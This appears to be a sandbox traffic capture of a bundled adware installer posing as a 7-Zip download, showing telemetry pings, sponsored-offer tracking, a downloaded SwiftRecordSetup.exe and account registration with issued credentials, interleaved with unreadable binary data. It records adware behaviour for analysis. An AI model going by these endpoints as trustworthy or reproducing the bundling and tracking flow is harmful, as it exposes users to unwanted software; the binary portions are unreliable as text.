r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 05:07:02 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 19 Apr 2015 05:17:02 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 553

X-Cache: Hit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GwN_LeXxtULcY2BcEMcyS4NCSBkT-yB2hNWAP8xQ8KxZMMcnPg-MMw==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.33 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.33 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /settings?s=9813&ins=1429690998.446 HTTP/1.1

Host: lb.thetrafficstat.net

DNT: 1

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:24:13 GMT

Content-Length: 62

{ "Status": 1,"Endpoint": "hXXps://s9813.thetrafficstat.net" }HTTP/1.1
 200 OK..Cache-Control: private..Content-Type: text/html; charset=utf-
8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.50727..X-Powered-B
y: ASP.NET..Date: Wed, 22 Apr 2015 08:24:13 GMT..Content-Length: 62..{
 "Status": 1,"Endpoint": "hXXps://s9813.thetrafficstat.net" }..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.9178741480869026 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.1.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:21:55 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:21:55 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhZ1N/ArcYWNWqP8XWy7QmXA== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:43 GMT

Content-Type: application/ocsp-response

Content-Length: 1474

Connection: keep-alive

Set-Cookie: __cfduid=d9114e4b649bf85c1787d4b160e937be51429691083; expires=Thu, 21-Apr-16 08:24:43 GMT; path=/; domain=.globalsign.com; HttpOnly

X-Powered-By: Servlet/3.0; JBossAS-6

ETag: 731fce7623dc21816171e566085d7ccd02b0b707

Expires: Wed, 22 Apr 2015 18:02:46 GMT

Last-Modified: Wed, 22 Apr 2015 06:02:46 GMT

Cache-Control: max-age=180, public, no-transform, must-revalidate

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1dafef1834a615d7-FRA
0..........0..... .....0......0...0......6.K....Z....a.B&Y.....2015042
2060246Z0u0s0K0... ........k..vY.d..X.R*.....C....n......>..t]..../
Pz...!gS....X..?....&\....20150422060246Z....20150422180246Z0...*.H...
........R.`....g...%@.lI......p...@s0n.|.!...z.s..<r..9..m{..;^M.r.
Y.-G.~....:Sc..=%..5.xe.BJ#[email protected].)...K......q...
a..:...=...\...;[email protected].....:~Z.c...vm.\N$...X?....u,m.L{...
..<#.R.Hyr..6'....m...O.........Cb.<Aj..!..w....Q^...!.r.....0..
.0...0...........!:.D.....3...7..(0...*.H........0Q1.0...U....BE1.0...
U....GlobalSign nv-sa1'0%..U....GlobalSign CodeSigning CA - G20...1503
03092435Z..150603082435Z0}1.0...U....BE1.0...U....GlobalSign nv-sa1:08
..U...1GlobalSign CodeSigning CA - G2 OCSP responder - 21.0...U....201
503031024000.."0...*.H.............0...........z..N#.)I{6&_.f.. ..*.-W
....Z....."......(.u:..9...ET...}.._Z.sr);:.....~.t..&4.~....d....- ..
.p{..7.E}......:C.. R../.J.w...Q.-.c....Y!.r:.."..X...V............&&z
,K..Z...sg.PN.:C.....0f...o..(..w.s.6..%.}.ktU..HmK........!1hy`..(.w.
`a......=s..,cYt6).-........0..0...U....0.0...U...........0...U.%..0..
. .......0... .....0......0...U......6.K....Z....a.B&Y...0...U.#..0...
.n......>..t]..../Pz0...*.H..............."...Y...f.=...d..........
Q.n.S.....=..5[.F..F..=*.S..;....6.j...VNR|#.h.=..' ..T..PD.J.......k.
...3..h....s...y.'.?....m...k.....V.^..uynl....6....<.[....x..#.Q..
9.P%s)-.I...m.?.j*.2..?;.P..X7w.........$.*.t.....5.p....4U.....R..Dc.
.q....'.e#uA*.FG].xz~...<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=327040-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 327040-523263/523264

Content-Length: 196224

Connection: keep-alive
...6.C.......4..e.(.....7.dQ.I......l....J..:.W<.m7Fd/.!.I.s.....z.
..Q.(O.....h.........V...E....T..K....K...".}..O%.K...D..Me.."..b....9
.D..Q..L?..`......`..!|X.=....vt5..2w...%.q.$R....).. ..t..f...&......
V.6......V...J...}l..),"[C...ro U..g$4...?JO/#.p...[T..}l....m......R.
....B.-c..........D..../....$..r3..........!!.o..#'[email protected]...
........)n:S.`....ZP.:Ih.!.\..Za[P....u.@.'.....0.8..^.6.............R
...J...T.e.a:._y.".$y......x......9.N..aL[..2..Z$....[.y,u...0^..a..pJ
[email protected]..^%2i..rJF..C..0c...}..&....z`.2h"'.;
.L.n.....j4........b..47.....B...8....\.}Ta`.<........K....<..."
..j.oj}.}..<aQ.........iIy..'.6E...........EI.@....>......m.....
....|.}[email protected]@"....G4...C..A...o.6...97..H...%.
[g..."[email protected].~P....*[email protected]....`......m/.........yY
.>.....=...VEd.-.........q.V0..,.i.H:...X...73....Q..E.%.......h..q
.bHO!.c...H...|..<....}....%....9..>M.......fd..>..\....._4eh
..../.C [email protected].........=.p...........L.
...}..Id....x..Gq.M.^.w.I'..a.\Ca.v.7#..vP..^..m..&..X.k.L.L.....r....
......S|.r....l=.YYr..`9..........e.y!..p...o........p[......-..S.....
.....J...x....g~........F....E....W.....D0....-p].Wx...'...d0m;9..a...
...k.........c1.;...........`w.k.{O......P..E``.<b.......c[}.}.....
Iy...j?,.s....}T>...*.V.|...L9........M..68..v]...M.H......ycr.....
.'.U....a...K....Z.J~..GCB&..7F.1.l.! .&.m.O)@y...x%.%..c>.#.....&g
t;.(KCN...m.y....J...;.s.G..i.U...}...~..z^P......B....H.>.5...<<< skipped >>>

GET /awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.>..<.w..:qH.Z.tw(....m....Nz$E...$$.2Iy..
.......{.s......NO..i...U.ZN..=.6..d.."m.......?.........I....(./.e.\.
......".g......e.q.}....np.......5...Qx..Rj ....x..O.......>[d.q...
......)..........d.O.A<^._..E6......}:]~.;....4....W..a.-...l.u}./.
.I.L...t...w/....^..;]....t.G.......R..K{.oM..... ./....h}g1.,?...t1..
F.}..*.7.'X........_.W..b.....*X.g.A'..<........34..y..O..c<.7N/
'=....|....1.}@..(2.J.LOY.$.-f.x...y.-]`..P....\.R...&.t..C7.........l
...8]\.O.9......]ap1.....i/..^...{..........l>..Yr:...".....Q .6.&l
t;......l...q.!..Z....l..Ez........%zu:.....l.s.4..?.....4._.1.}..y...
.".;]\.N.a...V;.....7.sK..=..x..N.......}..gq.4.]N..O.p|..*..G..K.e...
...cf..y<LuSa...^...y.3.O.j6=....5^.W..9[..o..3.ncd..p.Z2......2...
x.......i..0.....l...d.{......G.l....l8j`9]p5`.48:.x..2|.^.t.~.."..&.4
I........(...~.]..-...F........l..&.........5.!...X..<MQ..wy...i.r.
d.z.wf.Nq...`.G..V....q..p.....g..?t..q....{;!M8..]...v..d.vwv.3.i<
v...r>v...*Y.....-..........._v......!N..qo'.....4....`.....l...{?.
.......z1...u.. ...]..P?.....,.,|.i.`.s..|.*..:W.NFN.....i<.....;_W
....wjk.E... ....._^|...~...~....~..........~...............Z........{
C...........|.....;_9.w.r9......r. ..n....^wk.w.......[......B,.......
k.%..."....h./......xr...g..R..Gz.0^.r#..>.......O..d1.......:...z.
LY..$.....L/q...........}.^.Z...x.p...~|..F......8..I.j../.....M.=k]].
...\N..c.._.`C.~^.....B..[.i.e3..Za?.y......Ri....K...t.....i.*.4..F..
-....>.'G.I...o.L.2. ....|t.O...W.....?~.....([l.~l.....0......<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2768

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=607d1371d8f3494f867a2b514a49c4e9&uid=607d1371d8f3494f867a2b514a49c4e9&affid=awde7zip53656&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=4bb96194071d54009acf1ab0cd0f2cec&tokyo_csrf_timestamp=1429690804&unique_id=bbef8102d6345f6e5aea4567f3493da7&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqN
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f44.............\ks.... ....B.z....8i.fns......:...$......9..~...S.,9.
MS.3.P .,.......9..3.G\...w..2.......(.x.rz..W...`K...s.e=.y.Vf.X./.R.
!.y...es....S.E.O.%W...B|.....l..,....G..b&.....^.w..S.=.}.._....HIX..
gJ...2..../...[-..G.u.z.7|.....F..U.Zn..c.........y...R.s._,..2V.,..Q.
..%*..b.co....2.Y.....S(......6..G.%. ..c.K.........$VY.:.jG!d.T_c.. 8
5E2mWQ.XX.Rf.8..$..P.0...\......v...:?.j.RBm...Ni.1...........i...)`n"
2...`.)..PYNBn[.j.P..:.f....yfW.J.G..N`,[email protected]. 
j.zv.WJ.).1Z.c-.;......2.\.6.....k.E...C.w...,.2.....z.ioU.?.q..:...F.
/...6Y.."..b/.v......a..d.._..U.~.S.b..~..............0..."c.W.B.V....
CS.Oa.f`w..y......)3.4.T.}......#h........O..2..Y.%i....X .o.b)....6z.
.<.6.....W.!...............r...*../.Q.r.f.U.t.1z4....w.)V.d}.,...g.
(b........^..!.m9.........N.B..gYr:.......a...Mg..Q....S._..v8._H.b5.o
w2.G...W...[..IV/.W.....(.=.f...~..oN..#..&.b.V".l...i...u....P....<
;.9.S..._.5....... ....E?'b./eLK..Y.Xo...y..:N.4..../t3J.X....:.....G'
.c...*1.)v.......a..,6}P...x..._?..............\.5Vv...):...1..I.c.E$d
....Zj.W.5i.'[email protected]...{.Ib. I...h.G9kfB._..5.....
A@[email protected]....|..j....0......,Q.u.....*..r.y....I.I.I....kFy.../.~.
F...-sws.......s.v1...xr..iv....K.7..;.P.....`..yi.[.o/..Vkn....-....;
.V.......\./.e2_J_..n..1X....J....3.T.Kd...3_.<..!.......n.."..Q'..
)..._.....1......n..._.}ZjA.....6..`...M.H...........^V..T..65...k.{~.
...k-..k.B.oe.o.. .G...!J.....p.H.9....P.`h..X.D[hB.3.V!.......M.Y....
.a..vK.s..q;...;..68...v...c.....)O1..Bw..;....pq^.M9-Wf..\./.jk.r<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.8580236753114998 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:15 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:20:15 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /root-r3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:42 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 594

Connection: keep-alive

Set-Cookie: __cfduid=d798619400b265d591c743996c5eebdac1429691082; expires=Thu, 21-Apr-16 08:24:42 GMT; path=/; domain=.globalsign.net; HttpOnly

Expires: Wed, 15 Jul 2015 00:00:00 GMT

Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT

Cache-Control: public, max-age=7227318

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1dafef11698e0f75-FRA

0..N0..6...0...*.H........0L1 0...U....GlobalSign Root CA - R31.0...U.
...GlobalSign1.0...U....GlobalSign..150323000000Z..150715000000Z0..0*.
.......1..F...141125000000Z0.0...U.......0*........%[email protected]
Z0.0...U.......0*........%..D...141125000000Z0.0...U......../0-0...U..
.....0...U.#..0.....K...E$.MP.c.......0...*.H...............Z.v..&...B
.....x)....'.u.}.r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R.
 .....rS....t.T_.....Y.R......p OS..2.s........(C.e.x3.#.d6L.d=.UI.;T.
.G...mx....... .......-........-.....J....$.Ko.e#......3....*..3.s...0
.........N..W?'.U...f..h..e...m.9.HTTP/1.1 200 OK..Date: Wed, 22 Apr 2
015 08:24:42 GMT..Content-Type: application/x-pkcs7-crl..Content-Lengt
h: 594..Connection: keep-alive..Set-Cookie: __cfduid=d798619400b265d59
1c743996c5eebdac1429691082; expires=Thu, 21-Apr-16 08:24:42 GMT; path=
/; domain=.globalsign.net; HttpOnly..Expires: Wed, 15 Jul 2015 00:00:0
0 GMT..Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT..Cache-Control: pu
blic, max-age=7227318..CF-Cache-Status: HIT..Accept-Ranges: bytes..Ser
ver: cloudflare-nginx..CF-RAY: 1dafef11698e0f75-FRA..0..N0..6...0...*.
H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.0.
..U....GlobalSign..150323000000Z..150715000000Z0..0*........1..F...141
125000000Z0.0...U.......0*........%[email protected]*
........%..D...141125000000Z0.0...U......../0-0...U.......0...U.#..0..
...K...E$.MP.c.......0...*.H...............Z.v..&...B.....x)....'.u.}.
r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R. .....rS....t

<<< skipped >>>

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 98

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=14iwggmbsnppkq45v2elvp45; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:37 GMT
<RESULT>.<USER>.<ID>555c681c-bef1-485b-a8f4-c342b7ce
2d91</ID>.<PW>gDxC9Bha</PW>.</USER>.</RESUL
T>.....


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=14iwggmbsnppkq45v2elvp45


HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 1362

Content-Type: text/html; charset=utf-8

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:37 GMT
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&O
S=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f3
5e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1">h
ere</a>.</h2>..</body></html>....<!DOCTYPE 
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://w
ww.w3.org/1999/xhtml" >..<head><title>...Untitled Page.
.</title></head>..<body>..    <form name="form1" 
method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&UserI
D=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10
&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-f
ff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&P
artnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1" id="form
1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" va
lue="/wEPDwUJNzgzNDMwNTMzZGQU1engvXN0rq3VPQPI0y8 orWOLw==" />..<
input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERAT
OR" value="E8033FCD" />..    <div>..    ..    </div>.. 
   </form>..</body>..</html>......
<<< skipped >>>

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=14iwggmbsnppkq45v2elvp45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 98

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:39 GMT
<RESULT>.<ANON>.<ID>6c547230-b3a9-4235-8048-b58573bb
7041</ID>.<PW>Jhbh8dCq</PW>.</ANON>.</RESUL
T>.....


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=14iwggmbsnppkq45v2elvp45


HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 1504

Content-Type: text/html; charset=utf-8

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:39 GMT
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&O
S=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f3
5e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8
&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
